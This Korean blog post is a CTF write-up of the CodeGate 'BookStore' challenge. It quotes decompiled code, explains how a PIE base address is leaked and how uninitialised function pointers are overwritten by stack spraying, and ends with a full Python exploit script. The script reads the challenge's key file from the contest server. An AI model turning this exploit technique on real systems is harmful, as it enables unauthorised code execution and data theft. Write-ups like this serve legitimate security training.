ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [CodeGate]BookStore
    CTF 2015. 11. 13. 00:15

    strcpy(s1, "helloadmin");

      strcpy(v2, "iulover!@#$");

      puts("== Bookstore Management Application ==");

      puts("== Login");

      printf("== Input Your ID : ");

      read(0, &buf, 0x14u);

      printf("== Input Your PASSWORD : ");

      read(0, &s2, 0x14u);

      puts("=======================================\n");

      result = !strncmp(s1, &buf, 0xAu) && !strncmp(v2, &s2, 0xBu);


    우선 처음 로그인에서 나오는것이 위 코드로 모두 정의되어있다.


    helloadmin, iulover!@#$인것을 알수있다. 


    그 밑에 코드는 그냥 아이디와 패스워드를 받고 비교해주는거밖에없으니 패스


    또 책이름을 입력하는 코드를보자


    memset(&s, 0, 0x14u);

      puts("Input Bookname : ");

      read(0, &s, 20u);

      puts("Input Description : ");

      memset(&buf, 0, 300u);

      read(0, &buf, 300u);

      memset(&v9, 0, 20u);

      memset(&v18, 0, 300u);

      strncpy((char *)&v18, &buf, 299u);

      strncpy((char *)&v9, &s, 19u);


    딱보면 진짜 오버플로우 터지는곳이 하나도없다. 진짜 해맷다


    다른곳을 확인해보자자


    modify description함수를 보자


    puts("Input new description");

      memset(&s, 0, 3000u);

      read(0, &s, 3000u);

      memset((void *)(a1 + 56), 0, 0x12Cu);

      strncpy((char *)(a1 + 56), &s, 0x12Cu);

      puts("Complete!");


    이상하게도 3000바이트를 입력받는다. 하지만 전에 300바이트를 입력받는데 약간 이상하다. 하지만 직접적인 버퍼오버플로우는 아니라는것을 알수있다.



    modify bookname도 약간이상하다.


     puts("Input new bookname");

      memset(&s, 0, 500u);

      read(0, &s, 500u);

      memset((void *)(a1 + 8), 0, 0x14u);

      strncpy((char *)(a1 + 8), &s, 0x14u);


    전과달리 엄청나게많은값을 입력받는다. 확인해보면 입력값은 모두 들어가지는않지만 나머지값은 스택에 뿌려진다는것을 알수있다. 스택 스프레이인것을 눈치챌수있다.


     puts("Input Stock : ");

      __isoc99_scanf("%d", &v4);

      v12 = v4;

      puts("Input Price : ");

      __isoc99_scanf("%d", &v5);

      v11 = v5;

      v13 = sub_9AD;

      puts("Set Free Shipping? (1 : free shipping | 0 : not) ");

      __isoc99_scanf("%d", &v6);

      if ( v6 != 1 && v6 )

      {

        puts("Wrong Value.. and set free-shipping");

        v14 = 1;

      }

      else

      {

        v14 = v6;

      }

      if ( v14 == 1 )

        v15 = sub_9DA;


    여길 잘보면


    일단 함수포인터가 두개가있다. 이것을 우리가 덮어씌워야하는데, 진짜 잘보면 shipping 값으로인해 변수에 함수포인터를 초기화안하냐가 달려있다.

    우리가 전에 스프레이할수있는 벡터에 엄청나게 스프레이를 해준다면 저 값이 덮혀 우리가 원하는 함수를 실행시킬수 있는 루틴이 한가지있다.



    if ( a14 == 1 )

        puts("Status : Avaliable\n");

      else

        puts("Status : Unavaliable\n");

      a10(&a15);

      if ( a2 == 1 )

      {

        printf("Max download : %d\n", a13);

      }

      else if ( a11 )

      {

        a12(&a3);

      }


    잘보면 함수가 인자를받아오고 인자로 인자의 주소를 받는데 이부분에서 원하는 함수를 실행시킬수있다.


    보호기법은 PIE인데, view에서 우리는 릭한값을 꺼내올수있다. 그값에서 베이스주소를 구해서 우리가원하는 오프셋값을더해 박아주면된다.


    PIE 처음 해보는데 이문제가 그나마 쉬워서 다행이지 할만했다 (삽질 조금 많이함)


    from socket import *

    import struct,time


    p = lambda x:struct.pack("<L",x)

    up = lambda x:struct.unpack("<L",x)


    HOST = "61.105.8.2"

    PORT = 12345


    s = socket(AF_INET,SOCK_STREAM)

    s.connect((HOST,PORT))



    ### login ###

    print s.recv(1024)

    print s.recv(1024)

    s.send("helloadmin" + "\n")

    s.send("iulover!@#$" + "\n")

    time.sleep(0.5)

    print s.recv(1024)


    ###add book###


    s.send("1" + "\n")

    print s.recv(1024)

    s.send("s0ngsari" + "\n")

    print s.recv(1024)

    s.send("s0ngsari" + "\n")

    print s.recv(1024)

    s.send("0" + "\n")

    time.sleep(0.5)

    print s.recv(1024)


    ###modify book###

    s.send("2" + "\n")

    time.sleep(0.5)

    print s.recv(1024)

    s.send("0" + "\n")

    time.sleep(0.5)

    print s.recv(1024)



    ### stoke ###

    s.send("3" + "\n")

    print s.recv(1024)

    time.sleep(0.2)

    s.send("1094795585" + "\n")

    print s.recv(1024)

    s.send("1094795585" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("0" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("1" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("A"*20 + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("A"*300 + "\n")

    time.sleep(0.2)

    print s.recv(1024)


    ###shipping option####

    s.send("0" + "\n")

    time.sleep(0.5)

    print s.recv(1024)

    s.send("4" + "\n")

    time.sleep(0.5)

    print s.recv(143)

    leak = up(s.recv(4))[0]


    base_leak = leak-0x9ad

    print "[*] Leak Address: %s" % hex(base_leak)


    func_addr = base_leak + 0x8db

    print "[*] file_func_addr: %s" % hex(func_addr)


    time.sleep(0.5)

    s.send("2" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("0" + "\n")

    time.sleep(0.5)

    print s.recv(1024)

    s.send("2" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    time.sleep(1)

    s.send(p(func_addr)*700)

    time.sleep(0.2)

    #shell


    s.send("3" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("1094795585" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("1094795585" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("0\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("0\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("/home/bookstore/key\x00" + "\n")

    time.sleep(0.2)

    print s.recv(1024)

    s.send("A"*300 + "\n")

    print s.recv(1024)

    time.sleep(0.5)




    raw_input()

    print s.recv(1024)

    s.send("2\n")

    print s.recv(1024)

    time.sleep(0.5)

    s.send("0\n")

    print s.recv(1024)

    s.send("4\n")

    print s.recv(1024)

    time.sleep(0.5)

    s.send("1\n")

    print s.recv(1024)

    s.send("0\n")

    print s.recv(1024)

    time.sleep(0.5)

    s.send("3\n")

    time.sleep(0.5)

    print s.recv(1024)

    s.send("0\n")

    time.sleep(0.5)

    print s.recv(1024)

    print s.recv(1024)



    s.close()


    저 이상한 정수값은 int형이기때문에 우리에게 친숙한 0x41414141을 int형으로 바꾼거임

    'CTF' 카테고리의 다른 글

    [SECCON 2015]Exec dmesg  (0) 2015.12.06
    HDCON 2015 C&C 분석  (6) 2015.11.16
    [CodeGate 2014]4stone  (0) 2015.11.06
    SSA과제 qlvlejtm  (0) 2015.11.01
    [JFF3]Market1  (0) 2015.10.29

    댓글

Designed by Tistory.